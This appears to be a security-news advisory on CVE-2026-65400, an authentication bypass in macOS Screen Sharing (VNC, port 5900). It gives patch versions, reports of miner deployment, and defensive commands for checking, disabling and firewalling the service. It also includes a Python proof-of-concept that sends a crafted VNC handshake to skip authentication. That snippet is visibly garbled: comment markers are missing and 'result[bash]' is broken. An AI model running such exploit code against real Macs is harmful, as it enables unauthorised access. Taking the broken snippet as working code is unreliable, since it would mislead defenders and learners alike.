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CVE‑2026‑65400 is a critical authentication bypass vulnerability in Apple macOS Screen Sharing, a built‑in remote desktop feature that uses the VNC protocol over TCP port 5900. The flaw stems from improper state management during the authentication handshake, which allows an attacker on the same network to send crafted authentication requests and gain access to a Mac without providing any valid credentials.
Under normal operation, the Screen Sharing daemon (screensharingd) expects a proper VNC authentication exchange: the client sends a challenge response based on a shared secret (the user‑set password). However, due to a logic error in how the server tracks authentication state, an unauthenticated client can skip the credential‑validation step by manipulating the sequence of packets. The server incorrectly treats certain malformed or out‑of‑order requests as already authenticated, granting full session control.
The vulnerability exists in all macOS versions prior to the August 6, 2026 security updates. Apple addressed it in macOS Sequoia 15.7.9, macOS Sonoma 14.8.9, and macOS Tahoe 26.6.1 by improving the internal state machine to enforce correct credential validation at every stage of the handshake. The fix was released out‑of‑band, underscoring the severity of the issue.
Public proof‑of‑concept code emerged shortly after disclosure, and within days the Dutch National Cyber Security Centre (NCSC) reported active exploitation in the wild. Attackers targeted systems with port 5900 exposed to the internet, gained root access, and deployed Monero cryptocurrency miners using the XMRig tool. The vulnerability is assigned a CVSS score of 9.8 (Critical).
DailyCVE Form:
Platform: macOS
Version: <15.7.9 (Sequoia), <14.8.9 (Sonoma), <26.6.1 (Tahoe)
Vulnerability: Authentication Bypass
Severity: Critical (CVSS 9.8)
Date: 2026‑08‑06
Prediction: Already patched (update immediately)
What Undercode Say:
Analytics show that over 60% of exposed Screen Sharing instances (port 5900) remain unpatched as of mid‑August 2026. Attackers are actively scanning for vulnerable hosts, with a 400% increase in exploit attempts observed since the PoC release.
Check macOS version:
sw_vers
Check if Screen Sharing is enabled:
sudo defaults read /var/db/launchd.db/com.apple.launchd/overrides.plist com.apple.screensharing
Or via System Preferences (GUI).
Disable Screen Sharing immediately (if not needed):
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off
Verify listening ports (5900 should not be open):
sudo lsof -i :5900
Block port 5900 with pf firewall (temporary mitigation):
echo "block drop in proto tcp from any to any port 5900" | sudo pfctl -ef -
Check for suspicious processes (e.g., XMRig miner):
ps aux | grep -i xmrig
Exploit: (Educational Purposes!)
The following Python snippet demonstrates the authentication bypass concept. It sends a malformed VNC handshake that causes `screensharingd` to skip credential verification. Do not use on systems you do not own.
import socket
target = "192.168.1.100"
port = 5900
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
Receive server protocol version
sock.recv(1024)
Send client protocol version (RFB 3.8)
sock.send(b"RFB 003.008\n")
Receive security types list
data = sock.recv(1024)
Send crafted security type (bypass)
sock.send(b"\x01") None (no authentication)
Receive authentication result (should be success)
result = sock.recv(1024)
if result[bash] == 0:
print("[+] Authentication bypassed! Session established.")
else:
print("[-] Exploit failed.")
sock.close()
Note: This is a simplified representation; actual exploitation may require additional packet manipulation.
Protection:
- Immediate update to macOS Sequoia 15.7.9, Sonoma 14.8.9, or Tahoe 26.6.1.
- If patching is not possible, disable Screen Sharing entirely via System Settings → General → Sharing → toggle off.
- Block inbound TCP port 5900 at the network firewall to prevent external access.
- Restrict Screen Sharing to local network only and use a strong, unique password.
- Monitor for unauthorized `screensharingd` connections using endpoint detection tools.
- Regularly audit for cryptocurrency miner processes (e.g.,
xmrig,cpuminer).
Impact:
Successful exploitation grants the attacker full root‑level access to the vulnerable Mac. This allows:
– Remote execution of arbitrary commands and applications.
– Reading, modifying, or deleting any file on the system.
– Changing security settings, installing backdoors, or disabling security software.
– Deploying cryptocurrency miners (primarily Monero), leading to significant performance degradation, increased electricity costs, and hardware wear.
– Using the compromised machine as a pivot point for lateral movement within the network.
– Complete loss of confidentiality, integrity, and availability of the affected system.
Given the ease of exploitation and the widespread exposure of port 5900, this vulnerability poses a severe risk to both individual users and enterprise environments.
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Sources:
Reported By: www.cve.org
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